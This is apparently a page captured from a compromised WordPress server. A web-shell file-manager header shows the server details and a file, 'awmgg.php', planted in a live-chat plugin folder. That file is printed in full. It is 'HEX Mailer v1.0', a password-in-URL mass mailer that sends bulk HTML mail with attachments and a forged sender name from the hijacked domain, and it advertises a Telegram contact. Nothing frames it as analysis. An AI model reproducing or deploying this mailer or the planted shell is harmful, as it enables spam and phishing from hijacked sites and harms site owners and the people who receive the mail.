HEX
Server: nginx/1.20.1
System: Linux VM-0-8-centos 3.10.0-1160.11.1.el7.x86_64 #1 SMP Fri Dec 18 16:34:56 UTC 2020 x86_64
User: www (1000)
PHP: 7.3.29
Disabled: passthru,system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,popepassthru,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.ycfawu.com/wp-content/plugins/wp-live-chat-support/awmgg.php
<?php

$config = [

    'password' => 'jelwq',

    'max_recipients' => 100,

    'max_file_size' => 5000000,

    'allowed_extensions' => ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'txt'],

];



session_start();

if (!isset($_SESSION['email_logs'])) {

    $_SESSION['email_logs'] = [];

}



$authenticated = false;

if (isset($_GET['pass']) && $_GET['pass'] === $config['password']) {

    $authenticated = true;

}



function sendEmail($recipients, $subject, $content, $sender_name, $content_type, $attachments = []) {

    global $config;

    

    $recipient_list = explode(',', $recipients);

    $recipient_list = array_map('trim', $recipient_list);

    $recipient_count = count($recipient_list);

    

    if ($recipient_count > $config['max_recipients']) {

        return [

            'success' => false,

            'message' => "Error: Maximum {$config['max_recipients']} recipients allowed"

        ];

    }

    

    $boundary = md5(time());

    

    $headers = [];

    $headers[] = "From: {$sender_name} <noreply@" . $_SERVER['HTTP_HOST'] . ">";

    $headers[] = "Reply-To: {$sender_name} <noreply@" . $_SERVER['HTTP_HOST'] . ">";

    $headers[] = "MIME-Version: 1.0";

    

    if ($content_type === 'HTML') {

        if (!empty($attachments)) {

            $headers[] = "Content-Type: multipart/mixed; boundary=\"{$boundary}\"";

        } else {

            $headers[] = "Content-Type: text/html; charset=UTF-8";

        }

    } else {

        if (!empty($attachments)) {

            $headers[] = "Content-Type: multipart/mixed; boundary=\"{$boundary}\"";

        } else {

            $headers[] = "Content-Type: text/plain; charset=UTF-8";

        }

    }

    

    $message = '';

    if (!empty($attachments)) {

        $message .= "--{$boundary}\r\n";

        $message .= "Content-Type: " . ($content_type === 'HTML' ? "text/html" : "text/plain") . "; charset=UTF-8\r\n";

        $message .= "Content-Transfer-Encoding: base64\r\n\r\n";

        $message .= chunk_split(base64_encode($content)) . "\r\n";

        

        foreach ($attachments as $attachment) {

            if (file_exists($attachment['path'])) {

                $file_content = file_get_contents($attachment['path']);

                $file_name = basename($attachment['name']);

                $file_type = mime_content_type($attachment['path']);

                

                $message .= "--{$boundary}\r\n";

                $message .= "Content-Type: {$file_type}; name=\"{$file_name}\"\r\n";

                $message .= "Content-Disposition: attachment; filename=\"{$file_name}\"\r\n";

                $message .= "Content-Transfer-Encoding: base64\r\n\r\n";

                $message .= chunk_split(base64_encode($file_content)) . "\r\n";

            }

        }

        

        $message .= "--{$boundary}--";

    } else {

        $message = $content;

    }

    

    $successful = 0;

    $failed = 0;

    $failed_emails = [];

    

    foreach ($recipient_list as $recipient) {

        if (filter_var($recipient, FILTER_VALIDATE_EMAIL)) {

            $result = mail($recipient, $subject, $message, implode("\r\n", $headers));

            if ($result) {

                $successful++;

            } else {

                $failed++;

                $failed_emails[] = $recipient;

            }

        } else {

            $failed++;

            $failed_emails[] = $recipient . " (invalid format)";

        }

    }

    

    if ($successful > 0 && $failed === 0) {

        return [

            'success' => true,

            'message' => "Email sent to {$successful} recipient(s)"

        ];

    } elseif ($successful > 0 && $failed > 0) {

        return [

            'success' => 'partial',

            'message' => "Sent to {$successful}, failed for {$failed}: " . implode(', ', $failed_emails)

        ];

    } else {

        return [

            'success' => false,

            'message' => "Failed for all recipients: " . implode(', ', $failed_emails)

        ];

    }

}



$result = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $authenticated) {

    if (

        isset($_POST['recipients']) && 

        isset($_POST['subject']) && 

        isset($_POST['content']) && 

        isset($_POST['sender_name']) && 

        isset($_POST['content_type'])

    ) {

        $recipients = trim($_POST['recipients']);

        $subject = trim($_POST['subject']);

        $content = $_POST['content'];

        $sender_name = trim($_POST['sender_name']);

        $content_type = $_POST['content_type'];

        

        $attachments = [];

        if (isset($_FILES['attachments']) && $_FILES['attachments']['error'][0] !== UPLOAD_ERR_NO_FILE) {

            $file_count = count($_FILES['attachments']['name']);

            

            for ($i = 0; $i < $file_count; $i++) {

                if ($_FILES['attachments']['error'][$i] !== UPLOAD_ERR_OK) {

                    continue;

                }

                

                if ($_FILES['attachments']['size'][$i] > $config['max_file_size']) {

                    $result = [

                        'success' => false,

                        'message' => "File " . $_FILES['attachments']['name'][$i] . " exceeds " . ($config['max_file_size'] / 1000000) . "MB limit"

                    ];

                    break;

                }

                

                $file_extension = strtolower(pathinfo($_FILES['attachments']['name'][$i], PATHINFO_EXTENSION));

                if (!in_array($file_extension, $config['allowed_extensions'])) {

                    $result = [

                        'success' => false,

                        'message' => "File type ." . $file_extension . " not allowed"

                    ];

                    break;

                }

                

                $temp_path = $_FILES['attachments']['tmp_name'][$i];

                

                $attachments[] = [

                    'name' => $_FILES['attachments']['name'][$i],

                    'path' => $temp_path

                ];

            }

        }

        

        if ($result === null) {

            $result = sendEmail($recipients, $subject, $content, $sender_name, $content_type, $attachments);

            

            $_SESSION['email_logs'][] = [

                'timestamp' => date('Y-m-d H:i:s'),

                'recipients' => $recipients,

                'subject' => $subject,

                'sender_name' => $sender_name,

                'content_type' => $content_type,

                'success' => $result['success'],

                'message' => $result['message']

            ];

            

            if (count($_SESSION['email_logs']) > 100) {

                array_shift($_SESSION['email_logs']);

            }

        }

    } else {

        $result = [

            'success' => false,

            'message' => 'All required fields must be filled'

        ];

    }

}



if (isset($_GET['clear_logs']) && $authenticated) {

    $_SESSION['email_logs'] = [];

    header('Location: ' . $_SERVER['PHP_SELF'] . '?pass=' . $config['password']);

    exit;

}

?>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>HEX Mailer v1.0</title>

    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">

    <style>

        * {

            margin: 0;

            padding: 0;

            box-sizing: border-box;

        }



        body {

            font-family: 'JetBrains Mono', monospace;

            background: #0d1117;

            color: #c9d1d9;

            line-height: 1.6;

            font-size: 14px;

            min-height: 100vh;

            padding: 20px;

        }



        .container {

            max-width: 1000px;

            margin: 0 auto;

        }



        /* Header */

        .header {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin-bottom: 16px;

        }



        .title {

            font-size: 18px;

            font-weight: 500;

            color: #58a6ff;

            margin-bottom: 12px;

        }



        .system-info {

            display: grid;

            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));

            gap: 8px;

            font-size: 12px;

        }



        .info-line {

            padding: 4px 0;

        }



        .info-label {

            color: #7d8590;

            display: inline-block;

            width: 80px;

        }



        .info-value {

            color: #f0883e;

        }



        /* Navigation */

        .nav-tabs {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 4px;

            margin-bottom: 16px;

            display: flex;

            gap: 4px;

        }



        .nav-tab {

            padding: 8px 16px;

            background: transparent;

            border: none;

            border-radius: 4px;

            color: #7d8590;

            cursor: pointer;

            font-family: inherit;

            font-size: 13px;

            transition: all 0.2s;

        }



        .nav-tab.active {

            background: #21262d;

            color: #58a6ff;

        }



        .nav-tab:hover:not(.active) {

            background: #161b22;

            color: #c9d1d9;

        }



        /* Content Sections */

        .content-section {

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 16px;

            margin-bottom: 16px;

            display: none;

        }



        .content-section.active {

            display: block;

        }



        .section-title {

            font-size: 14px;

            font-weight: 500;

            color: #f0f6fc;

            margin-bottom: 12px;

        }



        /* Form Elements */

        .form-row {

            margin-bottom: 12px;

        }



        .form-label {

            display: block;

            font-size: 13px;

            color: #7d8590;

            margin-bottom: 4px;

        }



        input[type="text"],

        input[type="email"],

        textarea,

        select {

            width: 100%;

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            color: #c9d1d9;

            padding: 8px 12px;

            font-family: inherit;

            font-size: 13px;

        }



        input:focus,

        textarea:focus,

        select:focus {

            outline: none;

            border-color: #58a6ff;

        }



        textarea {

            min-height: 120px;

            resize: vertical;

        }



        /* Radio Groups */

        .radio-group {

            display: flex;

            gap: 16px;

        }



        .radio-item {

            display: flex;

            align-items: center;

            gap: 6px;

            font-size: 13px;

            cursor: pointer;

        }



        .radio-item input[type="radio"] {

            width: auto;

            margin: 0;

        }



        /* Buttons */

        .btn {

            background: #21262d;

            border: 1px solid #30363d;

            border-radius: 6px;

            color: #f0f6fc;

            padding: 6px 12px;

            font-family: inherit;

            font-size: 13px;

            cursor: pointer;

            transition: all 0.2s;

            display: inline-flex;

            align-items: center;

            gap: 6px;

        }



        .btn:hover {

            background: #30363d;

            border-color: #8b949e;

        }



        .btn-primary {

            background: #238636;

            border-color: #238636;

        }



        .btn-primary:hover {

            background: #2ea043;

        }



        .btn-secondary {

            background: #0969da;

            border-color: #0969da;

        }



        .btn-secondary:hover {

            background: #0860ca;

        }



        .btn-danger {

            background: #da3633;

            border-color: #da3633;

        }



        .btn-danger:hover {

            background: #f85149;

        }



        /* Messages */

        .message {

            padding: 12px;

            border-radius: 6px;

            margin: 12px 0;

            font-size: 13px;

        }



        .message-success {

            background: rgba(35, 134, 54, 0.15);

            border: 1px solid #238636;

            color: #56d364;

        }



        .message-error {

            background: rgba(218, 54, 51, 0.15);

            border: 1px solid #da3633;

            color: #f85149;

        }



        .message-warning {

            background: rgba(251, 188, 5, 0.15);

            border: 1px solid #fbb505;

            color: #fbb505;

        }



        /* File Upload */

        .file-upload {

            position: relative;

            display: inline-block;

        }



        .file-upload input[type="file"] {

            position: absolute;

            opacity: 0;

            width: 100%;

            height: 100%;

            cursor: pointer;

        }



        .file-list {

            margin-top: 8px;

            font-size: 12px;

        }



        .file-item {

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 4px;

            padding: 6px 8px;

            margin-bottom: 4px;

            display: flex;

            align-items: center;

            gap: 8px;

        }



        .file-size {

            color: #7d8590;

            margin-left: auto;

        }



        /* Logs */

        .logs-container {

            max-height: 400px;

            overflow-y: auto;

            background: #0d1117;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 12px;

        }



        .log-entry {

            padding: 8px 0;

            border-bottom: 1px solid #21262d;

            font-size: 12px;

        }



        .log-entry:last-child {

            border-bottom: none;

        }



        .log-time {

            color: #7d8590;

        }



        .log-status {

            display: inline-block;

            padding: 2px 6px;

            border-radius: 3px;

            font-size: 11px;

            font-weight: 500;

            margin: 0 6px;

        }



        .log-status.success {

            background: #238636;

            color: white;

        }



        .log-status.partial {

            background: #fbb505;

            color: black;

        }



        .log-status.failed {

            background: #da3633;

            color: white;

        }



        .log-details {

            margin-top: 4px;

            color: #c9d1d9;

        }



        /* Login Form */

        .login-container {

            max-width: 400px;

            margin: 100px auto;

            background: #161b22;

            border: 1px solid #21262d;

            border-radius: 6px;

            padding: 20px;

            text-align: center;

        }



        .login-title {

            font-size: 18px;

            color: #58a6ff;

            margin-bottom: 16px;

        }



        .login-info {

            color: #7d8590;

            font-size: 13px;

            line-height: 1.4;

        }



        /* Footer */

        .footer {

            text-align: center;

            margin-top: 40px;

            padding: 20px;

        }



        .telegram-link {

            display: inline-flex;

            align-items: center;

            gap: 8px;

            background: #0088cc;

            color: white;

            text-decoration: none;

            padding: 10px 20px;

            border-radius: 6px;

            font-size: 14px;

            font-weight: 500;

            transition: background 0.2s;

        }



        .telegram-link:hover {

            background: #0099dd;

        }



        /* Responsive */

        @media (max-width: 768px) {

            .container { padding: 10px; }

            .system-info { grid-template-columns: 1fr; }

            .radio-group { flex-direction: column; gap: 8px; }

            .nav-tabs { flex-direction: column; }

        }



        /* Utilities */

        .text-center { text-align: center; }

        .mb-8 { margin-bottom: 8px; }

        .mb-12 { margin-bottom: 12px; }

        .text-small { font-size: 12px; }

        .text-muted { color: #7d8590; }

    </style>

</head>

<body>

    <div class="container">

        <?php if (!$authenticated): ?>

            <div class="login-container">

                <div class="login-title">HEX Mailer v1.0</div>

                <div class="login-info">

                    Access denied. Use correct URL with password parameter:<br><br>

                    <code>example.com/mailer.php?pass=yourpassword</code>

                </div>

            </div>

        <?php else: ?>

            <div class="header">

                <div class="title">HEX Mailer v1.0</div>

                <div class="system-info">

                    <div class="info-line">

                        <span class="info-label">Server:</span>

                        <span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></span>

                    </div>

                    <div class="info-line">

                        <span class="info-label">PHP:</span>

                        <span class="info-value"><?php echo phpversion(); ?></span>

                    </div>

                    <div class="info-line">

                        <span class="info-label">Host:</span>

                        <span class="info-value"><?php echo $_SERVER['HTTP_HOST']; ?></span>

                    </div>

                    <div class="info-line">

                        <span class="info-label">Time:</span>

                        <span class="info-value" id="current-time"></span>

                    </div>

                </div>

            </div>



            <div class="nav-tabs">

                <button class="nav-tab active" onclick="showTab('compose')">compose</button>

                <button class="nav-tab" onclick="showTab('logs')">logs</button>

            </div>



            <div id="compose" class="content-section active">

                <div class="section-title">$ sendmail</div>



                <?php if ($result !== null): ?>

                    <div class="message <?php echo $result['success'] === true ? 'message-success' : ($result['success'] === 'partial' ? 'message-warning' : 'message-error'); ?>">

                        <?php echo $result['message']; ?>

                    </div>

                <?php endif; ?>



                <form method="post" enctype="multipart/form-data">

                    <div class="form-row">

                        <label class="form-label">from</label>

                        <input type="text" name="sender_name" placeholder="Your Name" required>

                    </div>



                    <div class="form-row">

                        <label class="form-label">to (comma separated)</label>

                        <textarea name="recipients" placeholder="user@example.com, admin@site.com" required></textarea>

                    </div>



                    <div class="form-row">

                        <label class="form-label">subject</label>

                        <input type="text" name="subject" placeholder="Email subject" required>

                    </div>



                    <div class="form-row">

                        <label class="form-label">content type</label>

                        <div class="radio-group">

                            <label class="radio-item">

                                <input type="radio" name="content_type" value="TEXT" checked>

                                <span>text</span>

                            </label>

                            <label class="radio-item">

                                <input type="radio" name="content_type" value="HTML">

                                <span>html</span>

                            </label>

                        </div>

                    </div>



                    <div class="form-row">

                        <label class="form-label">message</label>

                        <textarea name="content" placeholder="Your message content..." required></textarea>

                    </div>



                    <div class="form-row">

                        <label class="form-label">attachments</label>

                        <div class="file-upload">

                            <button type="button" class="btn">📎 attach files</button>

                            <input type="file" name="attachments[]" multiple id="file-input">

                        </div>

                        <div id="file-list" class="file-list"></div>

                        <div class="text-small text-muted mb-8">

                            max: <?php echo $config['max_file_size'] / 1000000; ?>MB | 

                            types: <?php echo implode(', ', $config['allowed_extensions']); ?>

                        </div>

                    </div>



                    <div class="form-row">

                        <button type="submit" class="btn btn-primary">📧 send</button>

                    </div>

                </form>

            </div>



            <div id="logs" class="content-section">

                <div class="section-title">$ tail -f mail.log</div>

                

                <div class="logs-container">

                    <?php if (empty($_SESSION['email_logs'])): ?>

                        <div class="text-muted">No logs available</div>

                    <?php else: ?>

                        <?php foreach (array_reverse($_SESSION['email_logs']) as $log): ?>

                            <div class="log-entry">

                                <div>

                                    <span class="log-time">[<?php echo $log['timestamp']; ?>]</span>

                                    <span class="log-status <?php echo $log['success'] === true ? 'success' : ($log['success'] === 'partial' ? 'partial' : 'failed'); ?>">

                                        <?php echo $log['success'] === true ? 'OK' : ($log['success'] === 'partial' ? 'PARTIAL' : 'FAIL'); ?>

                                    </span>

                                    <span><?php echo strtolower($log['content_type']); ?></span>

                                </div>

                                <div class="log-details">

                                    <strong>From:</strong> <?php echo htmlspecialchars($log['sender_name']); ?> | 

                                    <strong>Subject:</strong> <?php echo htmlspecialchars($log['subject']); ?>

                                </div>

                                <div class="log-details">

                                    <strong>To:</strong> <?php echo htmlspecialchars($log['recipients']); ?>

                                </div>

                                <div class="log-details text-muted">

                                    <?php echo htmlspecialchars($log['message']); ?>

                                </div>

                            </div>

                        <?php endforeach; ?>

                    <?php endif; ?>

                </div>



                <div style="margin-top: 16px;">

                    <a href="?pass=<?php echo urlencode($config['password']); ?>&clear_logs=1" class="btn btn-danger">

                        🗑️ clear logs

                    </a>

                </div>

            </div>



            <div class="footer">

                <a href="https://t.me/HEX80" class="telegram-link" target="_blank">

                    <span>@</span>

                    <span>Telegram</span>

                </a>

            </div>

        <?php endif; ?>

    </div>



    <script>

        function updateTime() {

            const now = new Date();

            const timeElement = document.getElementById('current-time');

            if (timeElement) {

                timeElement.textContent = now.toLocaleString();

            }

        }



        function showTab(tabName) {

            document.querySelectorAll('.content-section').forEach(section => {

                section.classList.remove('active');

            });

            

            document.querySelectorAll('.nav-tab').forEach(tab => {

                tab.classList.remove('active');

            });

            

            document.getElementById(tabName).classList.add('active');

            event.target.classList.add('active');

        }



        function formatSize(bytes) {

            if (bytes < 1024) return bytes + 'B';

            if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(1) + 'K';

            return (bytes / (1024 * 1024)).toFixed(1) + 'M';

        }



        document.addEventListener('DOMContentLoaded', function() {

            updateTime();

            setInterval(updateTime, 1000);



            const fileInput = document.getElementById('file-input');

            const fileList = document.getElementById('file-list');



            if (fileInput) {

                fileInput.addEventListener('change', function() {

                    fileList.innerHTML = '';

                    

                    if (this.files.length > 0) {

                        for (let i = 0; i < this.files.length; i++) {

                            const file = this.files[i];

                            const fileItem = document.createElement('div');

                            fileItem.className = 'file-item';

                            

                            fileItem.innerHTML = `

                                <span>📄 ${file.name}</span>

                                <span class="file-size">${formatSize(file.size)}</span>

                            `;

                            

                            fileList.appendChild(fileItem);

                        }

                    }

                });

            }



            const contentTypeRadios = document.querySelectorAll('input[name="content_type"]');

            const contentTextarea = document.querySelector('textarea[name="content"]');

            

            if (contentTypeRadios && contentTextarea) {

                contentTypeRadios.forEach(radio => {

                    radio.addEventListener('change', function() {

                        if (this.value === 'HTML') {

                            contentTextarea.placeholder = '<h1>Hello!</h1>\n<p>Your HTML content here...</p>';

                        } else {

                            contentTextarea.placeholder = 'Your message content...';

                        }

                    });

                });

            }

        });

    </script>

</body>

</html>